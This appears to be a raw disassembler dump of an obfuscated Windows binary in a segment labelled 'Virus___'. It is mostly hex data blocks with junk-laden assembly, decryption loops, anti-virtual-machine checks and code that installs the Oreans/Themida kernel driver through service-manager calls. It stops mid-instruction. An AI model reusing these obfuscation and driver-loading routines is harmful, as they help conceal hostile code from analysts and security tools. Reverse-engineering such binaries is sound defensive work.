74697845h, 54554Fh, 4E497054h, 3 dup(0) dd 0DEB90800h, 0DFD5BB77h, 596E977h, 85890000h, 71DA6DBh dd 0A6D7858Dh, 8D50071Dh, 1DA64185h, 1685007h, 0FF800000h dd 1DA6E795h, 0FF196A07h, 1DA6DBB5h, 6A016A07h, 70858D00h dd 50071DA6h, 0A6D7B5FFh, 95FF071Dh, 71B20FDh, 0A6D7B5FFh dd 95FF071Dh, 71DA6E3h, 0A6D7B5FFh, 95FF071Dh, 71B21A9h dd 0DB8589C3h, 8D071DA6h, 1DA6D785h, 858D5007h, 71DA641h dd 16850h, 95FF8000h, 71DA6E7h, 858D046Ah, 71DA6DBh, 6A046A50h dd 9A858D00h, 50071DA6h, 0A6D7B5FFh, 95FF071Dh, 71B20FDh dd 0A6D7B5FFh, 95FF071Dh, 71DA6E3h, 0A6D7B5FFh, 95FF071Dh dd 71B21A9h, 0DB8589C3h, 8D071DA6h, 1DA6D785h, 858D5007h dd 71DA641h, 16850h, 95FF8000h, 71DA6E7h, 858D046Ah, 71DA6DBh dd 6A046A50h, 82858D00h, 50071DA6h, 0A6D7B5FFh, 95FF071Dh dd 71B20FDh, 0A6D7B5FFh, 95FF071Dh, 71DA6E3h, 0A6D7B5FFh dd 95FF071Dh, 71B21A9h, 0DB8589C3h, 8D071DA6h, 1DA6D785h dd 858D5007h, 71DA641h, 16850h, 95FF8000h, 71DA6E7h, 858D046Ah dd 71DA6DBh, 6A046A50h, 0AD858D00h, 50071DA6h, 0A6D7B5FFh dd 95FF071Dh, 71B20FDh, 0A6D7B5FFh, 95FF071Dh, 71DA6E3h dd 0A6D7B5FFh, 95FF071Dh, 71B21A9h, 0DB8589C3h, 8D071DA6h dd 1DA6D785h, 858D5007h, 71DA641h, 16850h, 95FF8000h, 71DA6E7h dd 858D046Ah, 71DA6DBh, 6A046A50h, 5D858D00h, 50071DA6h dd 0A6D7B5FFh, 95FF071Dh, 71B20FDh, 0A6D7B5FFh, 95FF071Dh dd 71DA6E3h, 0A6D7B5FFh, 95FF071Dh, 71B21A9h, 0BDBD83C3h dd 71B24h, 0B840Fh, 9D8B0000h, 71B24BDh, 894CC383h, 0BD83C303h dd 71B24BDh, 0B840F00h, 8B000000h, 1B24BD9Dh, 50C38307h dd 83C30389h, 1B24BDBDh, 840F0007h, 0Bh, 24BD9D8Bh, 0C383071Bh dd 0C3038954h, 24BDBD83h, 0F00071Bh, 0B84h, 0BD9D8B00h dd 83071B24h, 38958C3h, 0BDBD83C3h, 71B24h, 0B840Fh, 9D8B0000h dd 71B24BDh, 895CC383h, 60C3C303h, 0A6DB8589h, 858D071Dh dd 71DA6D7h, 41858D50h, 50071DA6h, 168h, 0E795FF80h, 6A071DA6h dd 0DB858D04h, 50071DA6h, 6A046Ah, 0A6D2858Dh, 0FF50071Dh dd 1DA6D7B5h, 0FD95FF07h, 83071B20h, 1B1BD1BDh, 840F0007h dd 0Ch, 0A6D7B5FFh, 95FF071Dh, 71DA6E3h, 0A6D7B5FFh, 95FF071Dh dd 71B21A9h, 8960C361h, 1DA6DB85h, 0D7858D07h, 50071DA6h dd 0A641858Dh, 6850071Dh, 80000001h, 0A6E795FFh, 46A071Dh dd 0A6DB858Dh, 6A50071Dh, 8D006A04h, 1DA6B485h, 0B5FF5007h dd 71DA6D7h, 20FD95FFh, 0BD83071Bh, 71B1BD1h, 0C840F00h dd 0FF000000h, 1DA6D7B5h, 0E395FF07h, 0FF071DA6h, 1DA6D7B5h dd 0A995FF07h, 61071B21h, 858960C3h, 71DA6DBh, 0A6D7858Dh dd 8D50071Dh, 1DA64185h, 1685007h, 0FF800000h, 1DA6E795h dd 8D046A07h, 1DA6DB85h, 46A5007h, 858D006Ah, 71DA6BBh dd 0D7B5FF50h, 0FF071DA6h, 1B20FD95h, 0D1BD8307h, 71B1Bh dd 0C840Fh, 0B5FF0000h, 71DA6D7h, 0A6E395FFh, 0B5FF071Dh dd 71DA6D7h, 21A995FFh, 0C361071Bh, 0DB858960h, 8D071DA6h dd 1DA6D785h, 858D5007h, 71DA641h, 16850h, 95FF8000h, 71DA6E7h dd 858D046Ah, 71DA6DBh, 6A046A50h, 0C3858D00h, 50071DA6h dd 0A6D7B5FFh, 95FF071Dh, 71B20FDh, 1BD1BD83h, 0F00071Bh dd 0C84h, 0D7B5FF00h, 0FF071DA6h, 1DA6E395h, 0D7B5FF07h dd 0FF071DA6h, 1B21A995h, 60C36107h, 0A6DB8589h, 858D071Dh dd 71DA6D7h, 41858D50h, 50071DA6h, 168h, 0E795FF80h, 6A071DA6h dd 0DB858D04h, 50071DA6h, 6A046Ah, 0A6CA858Dh, 0FF50071Dh dd 1DA6D7B5h, 0FD95FF07h, 83071B20h, 1B1BD1BDh, 840F0007h dd 0Ch, 0A6D7B5FFh, 95FF071Dh, 71DA6E3h, 0A6D7B5FFh, 95FF071Dh dd 71B21A9h, 0C760C361h, 1DA6DB85h, 107h, 0D7858D00h, 50071DA6h dd 0A641858Dh, 6850071Dh, 80000002h, 0A6E795FFh, 0C00B071Dh dd 0F840Fh, 85C70000h, 71DA6DBh, 0 ; --------------------------------------------------------------------------- jmp loc_565D1A ; --------------------------------------------------------------------------- push 4 lea eax, [ebp+71DA6DBh] push eax push 4 push 0 lea eax, [ebp+71DA655h] push eax push dword ptr [ebp+71DA6D7h] call dword ptr [ebp+71B20FDh] or eax, eax jz loc_565D04 mov dword ptr [ebp+71DA6DBh], 0 jmp loc_565D0E ; --------------------------------------------------------------------------- loc_565D04: ; CODE XREF: Virus___:00565CEFj mov dword ptr [ebp+71DA6DBh], 1 loc_565D0E: ; CODE XREF: Virus___:00565CFFj push dword ptr [ebp+71DA6D7h] call dword ptr [ebp+71B21A9h] loc_565D1A: ; CODE XREF: Virus___:00565CC8j popa mov eax, [ebp+71DA6DBh] retn ; --------------------------------------------------------------------------- pusha mov [ebp+71DA6DBh], eax lea eax, [ebp+71DA6D7h] push eax lea eax, [ebp+71DA641h] push eax push 80000001h call dword ptr [ebp+71DA6E7h] push 4 lea eax, [ebp+71DA6DBh] push eax push 4 push 0 lea eax, [ebp+71DA655h] push eax push dword ptr [ebp+71DA6D7h] call dword ptr [ebp+71B20FDh] cmp dword ptr [ebp+71B1BD1h], 0 jz loc_565D7B push dword ptr [ebp+71DA6D7h] call dword ptr [ebp+71DA6E3h] loc_565D7B: ; CODE XREF: Virus___:00565D69j push dword ptr [ebp+71DA6D7h] call dword ptr [ebp+71B21A9h] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+71DA6DBh], eax lea eax, [ebp+71DA6D7h] push eax lea eax, [ebp+71DA641h] push eax push 80000001h call dword ptr [ebp+71DA6E7h] push 4 lea eax, [ebp+71DA6DBh] push eax push 4 push 0 lea eax, [ebp+71DA667h] push eax push dword ptr [ebp+71DA6D7h] call dword ptr [ebp+71B20FDh] cmp dword ptr [ebp+71B1BD1h], 0 jz loc_565DE2 push dword ptr [ebp+71DA6D7h] call dword ptr [ebp+71DA6E3h] loc_565DE2: ; CODE XREF: Virus___:00565DD0j push dword ptr [ebp+71DA6D7h] call dword ptr [ebp+71B21A9h] popa retn ; --------------------------------------------------------------------------- dd 1C0585C6h, 6852071Bh, 0ADE47B07h, 0ADB5FFh, 95FF071Bh dd 71B0491h, 0A6E78589h, 85C6071Dh, 71B1C05h, 0E56852h dd 0B5FF902Eh, 71B00ADh, 49195FFh, 8589071Bh, 71DA6E3h dd 1C0585C6h, 6852071Bh, 0B9BF1235h, 0ADB5FFh, 95FF071Bh dd 71B0491h, 20FD8589h, 85C6071Bh, 71B1C05h, 10346852h dd 0B5FF9878h, 71B00ADh, 49195FFh, 8589071Bh, 71B21A9h dd 1C0585C6h, 6852071Bh, 0C005DBD4h, 0ADB5FFh, 95FF071Bh dd 71B0491h, 2B958589h, 12E8071Bh, 0DF000000h, 79E85CB3h dd 0BA9782D1h, 0F5BB4937h, 7DC7D6A9h, 9E81Fh, 8AB00000h dd 9886124Dh, 0E8DED395h, 11h, 3E828E01h, 0EABB987Ch, 54606541h dd 0B0842B5Ah, 5A5E5E9Ah, 81C38B66h, 6EAEC2h, 0C78B6600h dd 1B8BB9h, 0C3BF0F00h ; --------------------------------------------------------------------------- loc_565ED8: ; CODE XREF: Virus___:00565F02j mov ebx, [edx] mov eax, 641BAF1Ah add ebx, 0B66F261h stc sub ebx, 5EAF79C5h add ebx, 48544D25h mov ah, 25h mov [edx], ebx jns $+6 sub edx, 4 sub ecx, 1 jnz loc_565ED8 ; --------------------------------------------------------------------------- dd 38A0Fh, 8B660000h, 99E9C6h, 622F0000h, 68636775h, 326B6365h dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 1DAE2CBDh dd 840F0007h, 0Ah, 1FD585C7h, 1071Bh, 85C60000h, 71B1C05h dd 0BF736847h, 3481DA44h, 29D3FE24h, 5DB5FF4Ah, 8D071B22h dd 1B3B0C85h, 0FFD0FF07h, 80F88BD0h, 850F223Fh, 22h, 0AE22B047h dd 0FFF9850Fh, 3F80FFFFh, 1B840F00h, 47000003h, 0F003F80h dd 31184h, 1EE900h, 3F800000h, 3840F00h, 80000003h, 850F203Fh dd 6, 6E947h, 0E9470000h, 0FFFFFFE2h, 0F003F80h, 585h dd 2E0E900h, 1E90000h, 47000000h, 0F203F80h, 0FFFFF684h dd 3F80FFh, 5850Fh, 0C3E90000h, 0E8000002h, 0Ah, 0FFFFCBE9h dd 2B4E9FFh, 0B58D0000h, 71DADACh, 225E8h, 41BD0300h, 83071DAEh dd 1DAE41BDh, 840F0007h, 0Bh, 1BD185C7h, 1071Bh, 8DC30000h dd 1DADB7B5h, 1FCE807h, 0BD030000h, 71DAE41h, 0AE41BD83h dd 0F00071Dh, 0B84h, 0D585C700h, 1071B1Fh, 0C3000000h dd 0AE30B58Dh, 0D3E8071Dh, 3000001h, 1DAE41BDh, 41BD8307h dd 71DAEh, 0B840Fh, 85C70000h, 71B316Dh, 1, 0C1B58DC3h dd 0E8071DADh, 1AAh, 0AE41BD03h, 0BD83071Dh, 71DAE41h dd 0B840F00h, 0C7000000h, 1B1FD585h, 107h, 0B58DC300h dd 71DADCBh, 181E8h, 41BD0300h, 83071DAEh, 1DAE41BDh, 840F0007h dd 15h, 1FD585C7h, 1071Bh, 85C70000h, 71B1BD1h, 1, 0D9B58DC3h dd 0E8071DADh, 14Eh, 0AE41BD03h, 0BD83071Dh, 71DAE41h dd 0A840F00h, 0C7000000h, 1B1EF585h, 107h, 0E3B58D00h dd 0E8071DADh, 126h, 0AE41BD03h, 0BD83071Dh, 71DAE41h dd 0A840F00h, 0C7000000h, 1B1EF585h, 107h, 0EEB58D00h dd 0E8071DADh, 0FEh, 0AE41BD03h, 0BD83071Dh, 71DAE41h dd 0A840F00h, 0C7000000h, 1B2A8585h, 107h, 0F4B58D00h dd 0E8071DADh, 0D6h, 0AE41BD03h, 0BD83071Dh, 71DAE41h dd 0A840F00h, 0C7000000h, 1B032185h, 107h, 0FAB58D00h dd 0E8071DADh, 0AEh, 0AE41BD03h, 0BD83071Dh, 71DAE41h dd 0A840F00h, 0C7000000h, 1B147D85h, 107h, 8B58D00h, 0E8071DAEh dd 86h, 0AE41BD03h, 0BD83071Dh, 71DAE41h, 0A840F00h, 0C7000000h dd 1B212985h, 107h, 15B58D00h, 0E8071DAEh, 5Eh, 0AE41BD03h dd 0BD83071Dh, 71DAE41h, 0A840F00h, 0C7000000h, 1B1AD585h dd 107h, 20B58D00h, 0E8071DAEh, 36h, 0AE41BD03h, 0BD83071Dh dd 71DAE41h, 0A840F00h, 0C7000000h, 1B173D85h, 107h, 1E900h dd 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h, 0B960C3FFh dd 1, 1CE9DE8Bh, 80000000h, 850F003Fh, 5, 0B9h, 38178A00h dd 2840F16h, 2B000000h, 804746C9h, 840F003Eh, 8, 850FC90Bh dd 0FFFFFFD3h, 840FC90Bh, 21h, 0F003F80h, 984h, 203F8000h dd 0A850Fh, 1B90000h, 0E9000000h, 5, 0B9h, 0FC90B00h, 0D84h dd 89F32B00h, 1DAE41B5h, 0AE907h, 85C70000h, 71DAE41h dd 0 ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- dw 0B8h dd 0B000000h, 0A840FC0h, 0C7000000h, 1B1EF585h, 7, 0E8C88B00h dd 0Ah, 0B23BAF3Ah, 56055AD6h, 840FDA44h, 6, 1B1DB501h dd 0E958071Bh, 0Bh, 0EC0A6EEAh, 6157FEF9h, 8160457Ch, 6E47C0h dd 8D896000h, 71B0325h, 0ADB52956h, 5A071B11h, 1B69BB61h dd 9D090000h, 71B2785h, 0BD89308Bh, 71B28BDh, 3A16EE81h dd 870F3E3Bh, 6, 643DC781h, 0F681060Eh, 1F9E5AE1h, 8E9h dd 0A7D14400h, 9A2AD8BDh, 0DFC68139h, 2964F3E3h, 1B13158Dh dd 8D8B5607h, 71B2BF1h, 8B66008Fh, 4E883F8h, 0B6D8D89h dd 0EB81071Bh, 1, 0FFA6850Fh, 0FDB9FFFFh, 0E9233DB6h, 20Eh dd 6E614333h, 20746F6Eh, 74697277h, 726F2065h, 736E6165h dd 6478762Eh, 614D0D0Ah, 7320656Bh, 20657275h, 74616874h dd 69687420h, 69662073h, 6920656Ch, 6F6E2073h, 65622074h dd 20676E69h, 64657375h, 20796220h, 746F6E61h, 20726568h dd 676F7270h, 2E6D6172h, 68h dup(0) dd 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 0EFE90000h, 0C6000000h, 1B1C0585h, 86684707h, 0FFE3E45Bh dd 1B225DB5h, 0C858D07h, 0FF071B3Bh, 10468D0h, 9D8D0000h dd 71B1951h, 50D0FF53h, 0B47AB58Dh, 0FE8B071Dh, 0FAEC032h dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 1C0585C6h dd 6843071Bh, 0BC8E6EFCh, 225DB5FFh, 858D071Bh, 71B3B0Ch dd 0B58DD0FFh, 71B1951h, 8068006Ah, 6A000000h, 6A006A02h dd 6800h, 0FF56C000h, 0C6D88BD0h, 1B1C0585h, 56685707h dd 0FFA69BEEh, 1B225DB5h, 0C858D07h, 0FF071B3Bh, 0EDBD8DD0h dd 8D071B35h, 1DB5A08Dh, 57006A07h, 37D068h, 0FF535100h dd 0FC085D0h, 1B85h, 82B58D00h, 8D071DB2h, 1DA57E85h, 8DD0FF07h dd 1B71A58Dh, 0B807h, 0E1FF0000h, 1C0585C6h, 6843071Bh dd 0C0764AA7h, 225DB5FFh, 858D071Bh, 71B3B0Ch, 0FF53D0FFh dd 0D0B9C3D0h, 0E8000037h, 0 ; --------------------------------------------------------------------------- pop eax add eax, 0Eh mov [eax], ecx jmp loc_566705 ; --------------------------------------------------------------------------- mov eax, ebx loc_566705: ; CODE XREF: Virus___:005666FEj jmp loc_569EDA ; --------------------------------------------------------------------------- dw 5A4Dh db 90h align 2 dw 3 dd 40000h, 0FFFF0000h, 0B80000h, 0 dd 400000h, 8 dup(0) dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h dd 240A0Dh, 0 dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0 dd 454C0000h, 0 dd 20000h, 4, 80000000h, 140003h, 4 dup(0) dd 2000000h, 1C00000h, 900000h, 0 dd 7E0000h, 0 dd 0C40000h, 10000h, 0DC0000h, 3 dup(0) dd 12C0000h, 1380000h, 2 dup(0) dd 1420000h, 1960000h, 1D20000h, 0 dd 1D20000h, 0 dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0) dd 27C00400h, 0 dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h dd 30001h, 2 dup(0) dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h dd 360h dup(0) dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h dd 8 dup(0) dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h dd 5273h, 9C3h dup(0) dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0) dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h dd 580CC3C0h, 544F5250h, 5F445856h, 424444h db 2 dup(0) ; --------------------------------------------------------------------------- loc_569EDA: ; CODE XREF: Virus___:loc_566705j jmp loc_56AF96 ; --------------------------------------------------------------------------- db 41h dd 50415644h, 2E323349h, 4C4C44h, 6E65704Fh, 614D4353h dd 6567616Eh, 43004172h, 74616572h, 72655365h, 65636976h dd 74530041h, 53747261h, 69767265h, 416563h, 4E746547h dd 76697461h, 73795365h, 496D6574h, 6F666Eh, 6E65704Fh dd 76726553h, 41656369h, 6C654400h, 53657465h, 69767265h dd 43006563h, 65736F6Ch, 76726553h, 48656369h, 6C646E61h dd 6F430065h, 6F72746Eh, 7265536Ch, 65636976h, 8 dup(0) dd 65726F00h, 33736E61h, 79732E32h, 73h, 0 dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0) aOreans32 db 'oreans32',0 a_Oreans32 db '\\.\oreans32',0 a_GlobalOreans3 db '\\.\Global\oreans32',0 aOreansx64 db 'oreansx64',0 a_GlobalOreansx db '\\.\Global\oreansx64',0 align 10h dd 41h dup(0) dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h dd 736E6165h, 732E3233h, 7379h, 48h dup(0) dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h dd 676F7270h, 2E6D6172h, 59h dup(0) dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0) dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0) dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0) dd 4F5C7325h, 6E616572h, 78762E73h, 64h, 2 dup(0) aXprotevent db 'XprotEvent',0 align 10h dd 0Ah dup(0) dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0) dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h dd 1040800h, 94h, 5, 1, 0A28h, 2, 76726553h, 20656369h dd 6B636150h, 3220h, 1Dh dup(0) dd 74666F53h, 65726177h, 6E69575Ch db 65h, 0 ; --------------------------------------------------------------------------- loc_56AF96: ; CODE XREF: Virus___:loc_569EDAj mov eax, esp jns loc_56AFA3 xor cx, 9035h loc_56AFA3: ; CODE XREF: Virus___:0056AF98j mov [ebp+71B27FDh], eax pusha jmp loc_56AFB8 ; --------------------------------------------------------------------------- db 9 ; --------------------------------------------------------------------------- add ecx, esp push eax pop edx aas mov ah, 0A6h push ss loc_56AFB8: ; CODE XREF: Virus___:0056AFAAj popa mov edi, ecx mov eax, eax mov dx, si cmp dword ptr [ebp+71B1BD1h], 0 jnz short loc_56AFD2 cmp dword ptr [ebp+71B1FD5h], 0 jz short loc_56AFEB loc_56AFD2: ; CODE XREF: Virus___:0056AFC7j push eax push ebx mov eax, eax mov eax, 43Dh mov [ebp+71B2A61h], eax lea ebx, [ebp+71DABB8h] call ebx pop ebx pop eax loc_56AFEB: ; CODE XREF: Virus___:0056AFD0j cmp dword ptr [ebp+71B1FD5h], 0 jz short loc_56B00B push eax push ebx mov eax, 43Dh mov [ebp+71B2A61h], eax lea ebx, [ebp+71DA8A7h] call ebx pop ebx pop eax loc_56B00B: ; CODE XREF: Virus___:0056AFF2j mov edx, [ebp+71B34A1h] xor [ebp+71B0A25h], ecx mov eax, eax push esi mov cx, 9F36h pop ecx mov eax, eax jmp loc_56B036 ; --------------------------------------------------------------------------- dw 0EA5Bh dd 6B026BE1h, 0D5DAF1B5h, 4CFCD986h db 0E5h, 7Eh ; --------------------------------------------------------------------------- loc_56B036: ; CODE XREF: Virus___:0056B021j jge loc_56B042 mov edi, [ebp+71B1A9Dh] loc_56B042: ; CODE XREF: Virus___:loc_56B036j cmp dword ptr [ebp+71B1BD1h], 0 jnz short loc_56B054 cmp dword ptr [ebp+71B1FD5h], 0 jz short loc_56B067 loc_56B054: ; CODE XREF: Virus___:0056B049j push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+71DAA5Ah] call ebx pop ebx pop eax loc_56B067: ; CODE XREF: Virus___:0056B052j cmp dword ptr [ebp+71B1FD5h], 0 jz short loc_56B081 push eax push ebx mov eax, 0 lea ebx, [ebp+71DA90Bh] call ebx pop ebx pop eax loc_56B081: ; CODE XREF: Virus___:0056B06Ej mov [ebp+71B0635h], esi movsx edx, ax mov eax, eax jno loc_56B098 or edx, 13AFE169h loc_56B098: ; CODE XREF: Virus___:0056B08Cj mov eax, eax or [ebp+71B1845h], eax cmp dword ptr [ebp+71B1BD1h], 0 jnz short loc_56B0B2 cmp dword ptr [ebp+71B1FD5h], 0 jz short loc_56B0C5 loc_56B0B2: ; CODE XREF: Virus___:0056B0A7j push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+71DA98Ch] call ebx pop ebx pop eax loc_56B0C5: ; CODE XREF: Virus___:0056B0B0j cmp dword ptr [ebp+71B1FD5h], 0 jz short loc_56B0DF push eax push ebx mov eax, 0 lea ebx, [ebp+71DA8D9h] call ebx pop ebx pop eax loc_56B0DF: ; CODE XREF: Virus___:0056B0CCj mov cl, 50h push 0 push ecx call sub_56B0EC and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56B0EC proc near ; CODE XREF: Virus___:0056B0E4p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_56B0EC endp ; --------------------------------------------------------------------------- dd 0A1418EDEh, 8B85CB2Fh, 81C08BD6h, 3D4280C9h, 91BD8922h dd 8B071B1Fh, 3860FC0h, 0F000000h, 0BD83C8B7h, 71B1BD1h dd 83097500h, 1B1FD5BDh, 13740007h, 0C08B5350h, 0B8h, 0F39D8D00h dd 0FF071DA9h, 83585BD3h, 1B1FD5BDh, 11740007h, 0B85350h dd 8D000000h, 1DA8F29Dh, 5BD3FF07h, 1ED18058h, 0F9D18166h dd 89C08BAAh, 1B2435BDh, 0BAC08B07h, 360444C8h, 9A1BD8Bh dd 0BD83071Bh, 71B1BD1h, 83097500h, 1B1FD5BDh, 13740007h dd 0C08B5350h, 0B8h, 259D8D00h, 0FF071DA9h, 66585BD3h dd 12B9FA8Bh, 0F6850CDh, 0B8Ah, 5850F00h, 66000000h, 4CBCF181h dd 8589C08Bh, 71B2BD1h, 0C08B63B5h, 83D2B70Fh, 1B1BD1BDh dd 9750007h, 1FD5BD83h, 7400071Bh, 8B535019h, 7D0B8C0h dd 85890000h, 71B2A61h, 0ABB89D8Dh, 0D3FF071Dh, 0BD83585Bh dd 71B1FD5h, 50177400h, 7D0B853h, 85890000h, 71B2A61h dd 0A8A79D8Dh, 0D3FF071Dh, 0BF66585Bh, 6E819A7h, 0A0000000h dd 975C901Bh, 9D980A4h, 89C08B59h, 1B11E1B5h, 585C607h dd 53071B1Ch, 34998589h, 9068071Bh, 6699395Fh, 0B5FFCE8Bh dd 71B225Dh, 3CD28166h, 0C858DE7h, 81071B3Bh, 625922E7h dd 11B52940h, 0FF071B26h, 57006AD0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 36BD8D6Fh dd 89564A30h, 1B1A8D9Dh, 0D2816607h, 85897C69h, 71B0B71h dd 21A5B589h, 85C6071Bh, 71B1C05h, 50006A57h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 686F47F6h dd 90045206h, 0E580D58Ah, 5DB5FF8Fh, 66071B22h, 0B5AB10B9h dd 0C858DBAh, 0F071B3Bh, 385h, 0CA8B6600h, 8D03D0FFh, 71B2D6Dh dd 2F458589h, 0BD89071Bh, 71B0DBDh, 1C0585C6h, 6043071Bh dd 0AE8h, 0B10CE100h, 0BF03B48Ah, 8B1A4B35h, 1B329585h dd 68615E07h, 0BC907028h, 5A525660h, 0E37EB959h, 0FF610581h dd 1B225DB5h, 858DF907h, 71B3B0Ch, 12858D01h, 8D8B071Bh dd 71B1A59h, 830FD0FFh, 0 ; --------------------------------------------------------------------------- mov [ebp+71B163Dh], eax push ecx jnb $+6 pop ecx jg loc_56B35D stc loc_56B35D: ; CODE XREF: Virus___:0056B356j mov byte ptr [ebp+71B1C05h], 4Ch adc cx, 0E307h push 0D9DA1CE9h mov edi, [ebp+71B18A9h] push dword ptr [ebp+71B225Dh] jb loc_56B386 mov edi, [ebp+71B2F85h] loc_56B386: ; CODE XREF: Virus___:0056B37Aj lea eax, [ebp+71B3B0Ch] push eax jmp loc_56B39E ; --------------------------------------------------------------------------- dw 5F87h dd 5B1FDBCFh, 122C875Eh db 0CFh, 74h ; --------------------------------------------------------------------------- loc_56B39E: ; CODE XREF: Virus___:0056B38Dj pop edx call eax push 0 push ebp call sub_56B3AC and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56B3AC proc near ; CODE XREF: Virus___:0056B3A4p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_56B3AC endp ; --------------------------------------------------------------------------- xchg eax, ebx icebp test al, 5Ch dec edi pusha sahf mov edx, ecx mov [ebp+71B2585h], esi mov 